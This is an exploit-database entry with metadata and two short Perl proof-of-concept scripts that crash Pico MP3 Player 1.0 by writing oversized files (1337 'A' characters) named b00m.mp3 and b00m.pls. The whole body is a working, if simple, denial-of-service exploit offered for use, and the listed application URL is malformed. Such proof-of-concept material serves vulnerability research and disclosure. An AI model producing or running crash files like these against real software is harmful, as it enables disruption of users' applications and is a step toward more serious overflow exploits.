Pico MP3 Player 1.0 - '.mp3' / '.pls' Local Crash (PoC)

Author: cr4wl3r
type: dos
platform: windows
port: 
date_added: 2010-01-21 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.compicomp3.zip

#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.mp3 >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] Pico MP3 Player 1.0 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";



#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.pls >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] Pico MP3 Player 1.0 (.pls) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.pls";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";